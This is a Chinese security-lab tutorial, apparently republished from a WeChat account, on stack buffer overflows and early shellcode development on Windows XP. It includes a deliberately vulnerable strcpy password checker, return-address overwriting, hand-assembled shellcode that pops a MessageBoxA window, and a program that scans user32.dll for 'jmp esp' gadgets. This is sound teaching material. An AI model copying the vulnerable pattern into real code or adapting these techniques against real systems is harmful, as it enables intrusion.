【干货分享】栈溢出和shellcode开发(一)
2023-2-9 17:32:58 Author: 戟星安全实验室(查看原文) 阅读量:6 收藏

戟星安全实验室

    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约4122字,阅读约需11分钟。

栈溢出--返回地址覆盖

代码源码:功能是从文本里面读一段数字是否匹配密码

环境:利用windows xp vs6.0生成的exe

在win10下面我生成的无法成功栈溢出

下面关键溢出代码:

char buffer[8];//局部变量会放在栈中,利用strcpy来溢出strcpy(buffer,password);//over flowed here! password比 buffer大

溢出覆盖原来返回的地址。

#include <stdio.h>#include <stdlib.h>#include <string.h>
#define PASSWORD "1234567"int verify_password (char *password){int authenticated;char buffer[8];//局部变量会放在栈中,利用strcpy来溢出authenticated=strcmp(password,PASSWORD);strcpy(buffer,password);//over flowed here!return authenticated;}void main(){int valid_flag=0;char password[1024];FILE * fp;if(!(fp=fopen("password.txt","rw+"))){exit(0);}fscanf(fp,"%s",password);valid_flag = verify_password(password);if(valid_flag){printf("incorrect password!\n");}else{printf("Congratulation! You have passed the verification!\n");}fclose(fp);}

调试

password.txt的为12345679+0x00,比8个字节多一个,溢出覆盖了前一个局部变量

再往下是保存的上个栈底:0012FF80

再往下就是上一个函数的下一跳地址,也是这个函数结束后跳到的地址:00401111

如果这个地址被覆盖,就造成栈溢出

算了一下,第17个字节开始就是返回地址,覆盖它看看

改为0040112c 让它打印出Congratu....这段话

构造payload

上面的写法是错误,应该把地址倒过来写,小端序

运行:

直接覆盖返回地址

手动注入代码

用前一小节栈溢出的代码。

#include <stdio.h>#include <stdlib.h>#include <string.h>
#define PASSWORD "1234567"int verify_password (char *password){int authenticated;//在栈中,占一个32位char buffer[8];//局部变量会放在栈中,利用strcpy来溢出authenticated=strcmp(password,PASSWORD);strcpy(buffer,password);//over flowed here!return authenticated;}void main(){int valid_flag=0;char password[1024];FILE * fp;if(!(fp=fopen("password.txt","rw+"))){exit(0);}fscanf(fp,"%s",password);valid_flag = verify_password(password);if(valid_flag){printf("incorrect password!\n");}else{printf("Congratulation! You have passed the verification!\n");}fclose(fp);}

目的:注入一段代码实现弹窗

MessageBox 这是弹窗的api,其实就是MessageBoxA或者MessageBoxW

找到这个api的在本机的地址:(这个方法只能在本机有用,不通用)

找到api的地址

MessageBoxA这个api在user32.dll这个模块里面

地址:base(模块基地址)+offset(函数地址)

打开Depends这个工具

随便拖进去打开一个exe文件,找到user32.dll

找到它的基地址:0x77d10000

找到MessageBoxA函数的内存偏移:0x000407EA

相加得:0x77d10000+0x000407EA=0x77D507EA

构造汇编代码

MessageBoxA有四个参数,都是用栈传递,再call

构造完毕,但是如果像上面这样写,会有00截断,换一种方法

再更改下:(这是后面换的)

复制汇编代码出来

33 DB 53 53 53 53 E8 EA 30 93 77粘贴到password.txt中

修改跳转地址

问题1:可以控制的栈太短了,跳到执行的时候,push四个0的时候把代码段覆盖了,导致这个实验失败。

问题2:0x77D507EA这个地址在这个exe找不到,因为没有导入user32.dll这个模块,所以找不到这个地址

更改代码

(1)把buffer调大点,调为44个字节

(2)把api需要的模块加进去LoadLibrary("user32.dll");

#include <stdio.h>#include <stdlib.h>#include <windows.h>#include <string.h>
#define PASSWORD "1234567"int verify_password (char *password){int authenticated;//在栈中,占一个32位char buffer[44];//局部变量会放在栈中,利用strcpy来溢出authenticated=strcmp(password,PASSWORD);strcpy(buffer,password);//over flowed here!return authenticated;}void main(){int valid_flag=0;char password[1024]; LoadLibrary("user32.dll");FILE * fp;if(!(fp=fopen("password.txt","rw+"))){exit(0);}fscanf(fp,"%s",password);valid_flag = verify_password(password);if(valid_flag){printf("incorrect password!\n");}else{printf("Congratulation! You have passed the verification!\n");}fclose(fp);}

生成exe

44+8=52字节(8个字节中,有4个字节是前一个局部变量的,有4个是保存栈底的地址,才到函数返回地址)

第53个是跳转地址,这个地方写跳转地址。因为我们在xp电脑上做实验,栈的地址和exe的基地址都是不变,地址才能写死。

构造汇编代码:

0012FAF4    33DB            XOR EBX,EBX0012FAF6    53              PUSH EBX0012FAF7    53              PUSH EBX0012FAF8    53              PUSH EBX0012FAF9    53              PUSH EBX0012FAFA    B8 EA07D577     MOV EAX,user32.MessageBoxA0012FAFF    FFD0            CALL EAX

构造payload:

运行后,直接走到我们注入的代码,运行,弹一个窗出来。

手动注入总结

其实就是,利用栈溢出,覆盖修改返回地址,返回地址指向自己注入的汇编代码的地方,注入的汇编代码也是放在栈中,要注意放在栈中的代码容易被栈自己覆盖,这就是我第一次实验失败的原因。

鸡肋1:本地获取到函数地址,其他机器上就不通用了。

鸡肋2:返回地址写死,如果在动态基址就不行了

shellcode开发-概念

1.如何定位shellcode?

2.如何定位函数地址?

3.如何去除“坏”字符?

定位ShellCode

找一个jum esp的汇编代码

例如:0x01234567 FFE4 jum esp

ret---->0x01234567

然后就会jum到esp,我们的shellcode卸载esp下面。

代码寻找 jum esp指令

#include <stdio.h>#include <stdlib.h>#include <windows.h>
#define DLL_NAME "user32.dll"
int main(){HINSTANCE hDllHandle = LoadLibrary(DLL_NAME);if(!hDllHandle){exit(0);}BYTE * ptr;ptr = (BYTE*)hDllHandle;BOOL flag = false;int count = 0;for(int i = 0;!flag;i++){if(ptr[i] == 0xFF && ptr[i + 1] == 0xE4){ int address = (int)ptr + i; printf("opcode address:0x%x\n",address);count++;if(count == 50){system("pause");}}} return 0; }

调试ShellCode

往期回顾

【干货分享】LOLBins技法的钓鱼附件分析
【内网渗透专题】转储lsass进程的小技巧
【漏洞挖掘系列】漏洞精彩瞬间之小漏洞大影响
【漏洞挖掘系列】浅谈登录框渗透方法

声明

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。

    戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

戟星安全实验室

# 长按二维码 || 点击下方名片 关注我们 #


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzMDMwNzk2Ng==&mid=2247509023&idx=1&sn=6a06e24fff9fb9f85016834ba0230fcf&chksm=c27eae0ef5092718348b538fe641bd97d005694e100f93159155ce07dad69f81a47f499f3ee5#rd
如有侵权请联系:admin#unsafe.sh